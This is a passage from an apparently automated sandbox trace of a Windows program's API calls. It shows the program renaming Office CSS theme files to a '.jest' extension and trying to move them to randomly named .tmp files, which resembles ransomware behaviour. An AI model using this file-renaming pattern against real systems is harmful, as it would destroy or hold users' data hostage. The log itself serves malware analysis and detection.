FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.417] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css.jest")) returned 1 [0163.419] VarBstrFromR4 (in: fltIn=0x4794568b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.09") returned 0x0 [0163.420] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CrNpUjj_5UJb6I84x3feiLxEL3nc6VOV4Idkt6yU-uDu7LORKoGPovBdqZWy28GPIulHEtEout9vH6QWy4AsmvLS LtC8zrC8oe7r.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\crnpujj_5ujb6i84x3feilxel3nc6vov4idkt6yu-udu7lorkogpovbdqzwy28gpiulheteout9vh6qwy4asmvls ltc8zrc8oe7r.tmp")) returned 0 [0163.420] GetLastError () returned 0x2 [0163.420] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.421] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css.jest")) returned 1 [0163.423] VarBstrFromR4 (in: fltIn=0x4794568b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.09") returned 0x0 [0163.424] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\36R3 6oZrz-_0n7FoiQRWZu9Myp-WLWv4nNubj6Duw3Nytv619UG6CfVdHF3uuj2km_y2Ou rkuKhIEiRODA1r2ND9yGN0yjDzSP0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\36r3 6ozrz-_0n7foiqrwzu9myp-wlwv4nnubj6duw3nytv619ug6cfvdhf3uuj2km_y2ou rkukhieiroda1r2nd9ygn0yjdzsp0.tmp")) returned 0 [0163.425] GetLastError () returned 0x2 [0163.425] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.425] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css.jest")) returned 1 [0163.427] VarBstrFromR4 (in: fltIn=0x4794568b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.09") returned 0x0 [0163.428] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aCA93g5D956Dob 7Yc8-5gH vntJ2lKFYAz2kBnVRHtvXpL0jTLZHTexvbVkaeb4uzc78D2Otu-M2HxKIKQ6w9Kdf35WAoaD1fOuU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aca93g5d956dob 7yc8-5gh vntj2lkfyaz2kbnvrhtvxpl0jtlzhtexvbvkaeb4uzc78d2otu-m2hxkikq6w9kdf35waoad1fouu.tmp")) returned 0 [0163.428] GetLastError () returned 0x2 [0163.428] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.429] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css.jest")) returned 1 [0163.431] VarBstrFromR4 (in: fltIn=0x4794568b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.09") returned 0x0 [0163.431] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hdU-XJE4Y9cegy4u8hB_sTUvmPFByfCj9iTPPxJOOn41P6pfWit-d_TIFAI5x1PqikRiJZUjucZQQHjujhB7ZDDcSg7jNuTT6YYR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hdu-xje4y9cegy4u8hb_stuvmpfbyfcj9itppxjoon41p6pfwit-d_tifai5x1pqikrijzujuczqqhjujhb7zddcsg7jnutt6yyr.tmp")) returned 0 [0163.432] GetLastError () returned 0x2 [0163.432] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css.jest")) returned 1 [0163.434] VarBstrFromR4 (in: fltIn=0x4794568b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.09") returned 0x0 [0163.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OXKUgH9F7ZRorJgYusSSp4 e9-BLqk2BUDhyj1PNg9Iw-qsqGZqfd5eBtPp8 _s4zTOeuU-v2sIbuFdrR12tWbvujp4-ql1PgsaUb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oxkugh9f7zrorjgyusssp4 e9-blqk2budhyj1png9iw-qsqgzqfd5ebtpp8 _s4ztoeuu-v2sibufdrr12twbvujp4-ql1pgsaub.tmp")) returned 0 [0163.435] GetLastError () returned 0x2 [0163.435] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.436] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css.jest")) returned 1 [0163.437] VarBstrFromR4 (in: fltIn=0x4794568d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.1") returned 0x0 [0163.438] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ovB5tRSt6LQeSntDbR8ov_zc9PYXmUVUHBsPQDYF-- 8f84-NK3N6BZBHhmeuTh562S_9bI06LCNKD5ukJnVEK4SnvP805ivNhuNN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ovb5trst6lqesntdbr8ov_zc9pyxmuvuhbspqdyf-- 8f84-nk3n6bzbhhmeuth562s_9bi06lcnkd5ukjnvek4snvp805ivnhunn.tmp")) returned 0 [0163.438] GetLastError () returned 0x2 [0163.438] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.439] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css.jest")) returned 1 [0163.440] VarBstrFromR4 (in: fltIn=0x4794568d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.1") returned 0x0 [0163.441] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WCrdNB0G7mUcj-zT6 vhCVyqiPgW4JKxMr-BXftUMDaEVvWADej2yHut8SKdPof21L-OHk AHKHO5ND470of7lbTqlk0OqZ8ogyl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wcrdnb0g7mucj-zt6 vhcvyqipgw4jkxmr-bxftumdaevvwadej2yhut8skdpof21l-ohk ahkho5nd470of7lbtqlk0oqz8ogyl.tmp")) returned 0 [0163.441] GetLastError () returned 0x2 [0163.441] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.442] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css.jest")) returned 1 [0163.445] VarBstrFromR4 (in: fltIn=0x4794568d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.1") returned 0x0 [0163.446] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\47uFCS_6uIHhUfXXW2o-qnrG3T7iys-j_TLnbsLTXJYMp7qFyEQGPzp _lBvOUovUVW3TY77_qF UMrlMiyFUj3X5fu5o5Xg5vsWr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\47ufcs_6uihhufxxw2o-qnrg3t7iys-j_tlnbsltxjymp7qfyeqgpzp _lbvouovuvw3ty77_qf umrlmiyfuj3x5fu5o5xg5vswr.tmp")) returned 0 [0163.446] GetLastError () returned 0x2 [0163.447] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.447] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css.jest")) returned 1 [0163.449] VarBstrFromR4 (in: fltIn=0x4794568d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.1") returned 0x0 [0163.450] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BU-9X2Y2UZDNvosojLj8N8rVKBD sWxi5q3PYFH7-IQqg77tRAC0gf4Q18cdv9wl7NpmVJJg4GtK7XFTpWH68gfpKyqyfyghmPPF6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bu-9x2y2uzdnvosojlj8n8rvkbd swxi5q3pyfh7-iqqg77trac0gf4q18cdv9wl7npmvjjg4gtk7xftpwh68gfpkyqyfyghmppf6.tmp")) returned 0 [0163.450] GetLastError () returned 0x2 [0163.450] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.451] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css.jest")) returned 1 [0163.452] VarBstrFromR4 (in: fltIn=0x4794568f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.12") returned 0x0 [0163.453] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2K7OMmzrgsoMKGNVoy2ZOD1V8RsnftXTY7NuKXNTyHJLaQvhtDJwL8 PBcj_yVmjO7vrCt5La7N8Z0sPRvY5ZtF12JK T4sJxfxtZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2k7ommzrgsomkgnvoy2zod1v8rsnftxty7nukxntyhjlaqvhtdjwl8 pbcj_yvmjo7vrct5la7n8z0sprvy5ztf12jk t4sjxfxtz.tmp")) returned 0 [0163.453] GetLastError () returned 0x2 [0163.453] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.454] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css.jest")) returned 1 [0163.455] VarBstrFromR4 (in: fltIn=0x4794568f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.12") returned 0x0 [0163.456] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6r2Lrvr2kRJfaKcU58BIInKlvBkEPyXX8QTjGjt5nvmCKFPQiPCGj6O0wE_0KGTUhxgkD55beWdMOY9BbE_2iFY7mXul 3TOuCWkt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6r2lrvr2krjfakcu58biinklvbkepyxx8qtjgjt5nvmckfpqipcgj6o0we_0kgtuhxgkd55bewdmoy9bbe_2ify7mxul 3toucwkt.tmp")) returned 0 [0163.456] GetLastError () returned 0x2 [0163.456] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.457] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css.jest")) returned 1 [0163.458] VarBstrFromR4 (in: fltIn=0x4794568f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.12") returned 0x0 [0163.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ogaQbBfxoeYhu72qV9dyrK4vYpp4FV_NbXFiU9VkywmjbyTHmBcbMq6OqqlWZ1mbjHKX RRnF8afTi Auq5CupIRYZSSYVJgqccGi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogaqbbfxoeyhu72qv9dyrk4vypp4fv_nbxfiu9vkywmjbythmbcbmq6oqqlwz1mbjhkx rrnf8afti auq5cupiryzssyvjgqccgi.tmp")) returned 0 [0163.459] GetLastError () returned 0x2 [0163.460] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.460] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css.jest")) returned 1 [0163.462] VarBstrFromR4 (in: fltIn=0x4794568f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.12") returned 0x0 [0163.463] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vxgBPuh8kxerUicy4i7f2BtOTFmQcyH9XXmV mzMpy5k-Ux9iqtuYvGtj6iNyVtFz0Cxqfj4x-8jFp085uh4KXQEm lhNOrrvhc.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vxgbpuh8kxeruicy4i7f2btotfmqcyh9xxmv mzmpy5k-ux9iqtuyvgtj6inyvtfz0cxqfj4x-8jfp085uh4kxqem lhnorrvhc.tmp")) returned 0 [0163.463] GetLastError () returned 0x2 [0163.463] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.464] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css.jest")) returned 1 [0163.465] VarBstrFromR4 (in: fltIn=0x4794568f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.12") returned 0x0 [0163.466] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iHQcYudg2zcbRyBJV _XksdWaoFqmKfNfutICYGsmFtyxoKrchFuPV4YqfMwdIXi72ivly7brtU2xUm-XHs4jBsFJP8INExC3KGA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ihqcyudg2zcbrybjv _xksdwaofqmkfnfuticygsmftyxokrchfupv4yqfmwdixi72ivly7brtu2xum-xhs4jbsfjp8inexc3kga.tmp")) returned 0 [0163.467] GetLastError () returned 0x2 [0163.467] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.467] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css.jest")) returned 1 [0163.469] VarBstrFromR4 (in: fltIn=0x47945691, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.13") returned 0x0 [0163.470] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gLE3wP9xzxDiRFpk2TEX-GgNDxa45WvJ 8MLtWp 2WBG0YaRfJGiLiDTA7ijgpJfyTt Ws5CKzGjG-CHZU4d iI rrf83spClXqq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gle3wp9xzxdirfpk2tex-ggndxa45wvj 